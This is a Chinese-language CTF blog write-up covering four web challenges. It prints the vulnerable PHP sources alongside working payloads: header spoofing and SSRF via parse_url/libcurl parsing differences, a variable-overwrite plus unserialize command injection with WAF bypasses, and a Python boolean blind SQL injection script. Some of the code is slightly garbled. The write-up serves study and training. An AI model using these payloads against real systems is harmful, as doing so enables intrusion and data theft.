N0rth3ty's Blog.

上海大学生信息安全竞赛Web题解

字数统计: 1.5k阅读时长: 7 min
2018/11/12 Share

what are you doing

改http头,被绕127坑了好久,索性找了个大礼包

1
2
3
4
5
6
7
8
9
10
11
12
13
X-Forwarded-For:127.0.0.1
REMOTE_ADDR:127.0.0.1
CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
client-ip: 127.0.0.1
x-remote-IP: 127.0.0.1
x-originating-IP: 127.0.0.1
x-remote-ip: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
x-Real-ip: 127.0.0.1
x-remote-addr: 127.0.0.1

image
用脚想都感觉是个SSRF,当时根本不知道脑洞在哪里。
这个地方当时想到了网鼎第三场的一道题目,感觉脑洞可能就是那个点
然后pgg的payload直接打到了

1
admin=1&url=file://www.ichunqiu.com/var/www/html/flag.php

image
很奇怪的是我的burp并不能抓到这个包,看到一叶飘零用的是curl来做这个题目
burp确实有很多局限性,后面补一波curl吧
感觉是个非预期

然后是其它的一些oayload

1
2
admin=1&url=file://@127.0.0.1:80@www.ichunqiu.com/.//../../var/www/html/flag.php
admin=1&url=file://@www.ichunqiu.com/var/www/html/flag.php

这里利用的是parse_url与libcurl对curl的解析差异

1
2
3
4
5
php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

附上题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin']))
{
if($_POST['admin']==1)
{
if($_SERVER['HTTP_X_CLIENT_IP'])
{
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($curl);
curl_close($curl);
$filename='download/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
else
{
echo "you need post url: http://www.ichunqiu.com";
}
}
else
{
echo "only 127.0.0.1 can get the flag!!";
}
}

}
else
{
$_POST['admin']=0;
}
?>

具体造成非预期的原因后面再补,flag++
毕竟还没回学校

Can you hack me

源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){and to continue
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}


}
else
{
echo "Can you hack me?<br>";
}

?>

首先看到

1
2
3
4
5
6
7
8
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}

foreach中可以执行一次变量覆盖
又因为

1
@parse_str($_GET['a']);

这里通过a可以继续覆盖后面的变量
所以初始payload

1
first=doller&a=var=give%26bbb=me%26ccc=flag

然后就是一个明显的反序列化了,需要康康come这个类

1
2
3
4
5
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

关键就是绕过这个waf了
${IFS}或者$IFS绕空格,flag双写

1
2
3
$a=new come('echo',array('`cat${IFS}/flflagag`'));
$b=serialize($a);
echo urlencode($b)."<br>";

image

GOOD JOB

简单粗暴的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

数组绕过和php/.绕unlike
比赛时没做出来
最后折腾几天环境又关了,懒得本地复现了,看了看wp

GOOD LUCK

很明显的一个注入点
union过滤了,bool盲注
datase()是可以注出数据库,但是后续就卡住了

1
2
information_schema.TABLES
information_schema.COLUMNS

这两个被过滤了,没有找到绕过姿势
看了一叶飘零发在先知的wp才知道可以使用

1
2
information_schema . TABLES
information_schema . COLUMNS

进行bypass
不过还是老大牛逼,老大说直接猜user表,然后select就出来了
当时尝试半天后无果,经老大提醒发现有两层waf

1
$content=str_replace($value,"",$content)

这个就是第二层waf,过滤了from,但并不会像过滤union那样直接提示hacker out,而是直接替换为空
(ctf选手不需要视力
其实本身是关注到了这个点,但是双写了union后发现没啥用就暂且放过了
并没有想到两层waf,其实也和注入基本功太差有关
使用

1
select username from password

进行测试发现没查到东西时一时不知道怎么测了
从老大那里学到了骚操作
一个类似如下的payload,本质思想是讲查询语句当作字符串打入,然后看过滤

1
1' and 1=if((ord(substr(('select password from user'),1,1)))>55,1,0)%23

然后直接看返回就知道过滤了什么,确实在面对这种单纯过滤的waf时很好用
这里跑出来是过滤了select和from,(我一开始用的大写SELECT原来无意中绕过了…
然后又跑了下大写发现是不过滤的,感觉可能是个非预期?
也可以双写绕过
再次贴上我写得无比丑的二分脚本吧。。
我这次有空一定改改轮子,flag+++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

head = 'http://5cd4815e69a64a079732b86cb5e1886650503502ccfc474a.game.ichunqiu.com/select_guest.php?id='
payload = ''
index = ''a
s = ''
for n in range(200):
left = 32
right = 127
while left<=right:
i = (left+right)//2
#payload = '-1\' or (ASCII(MID((SELECT database()), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
payload = '-1\' or (ASCII(MID((SELECT password FROM user), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
#print(payload)
index = head + payload
r = requests.get(index)
r.encoding = 'utf-8'
#print(r.text)
if r.text.find('.')!=-1:#小于返回1
right = i-1
else:
#payload = '-1\' or (ASCII(MID((SELECT database()), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
payload = '-1\' or (ASCII(MID((SELECT password FROM user), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
index = head +payload
r = requests.get(index)
r.encoding = 'utf-8'
if r.text.find('.') != -1: # 大于返回1
left = i+1
else: #相等
s=s+chr(i)
print(s)
break

拿到密码解密后为adminpassword
上传点02截断恕我直言,太傻逼了
image

CATALOG
  1. 1. what are you doing
  2. 2. Can you hack me
  3. 3. GOOD JOB
  4. 4. GOOD LUCK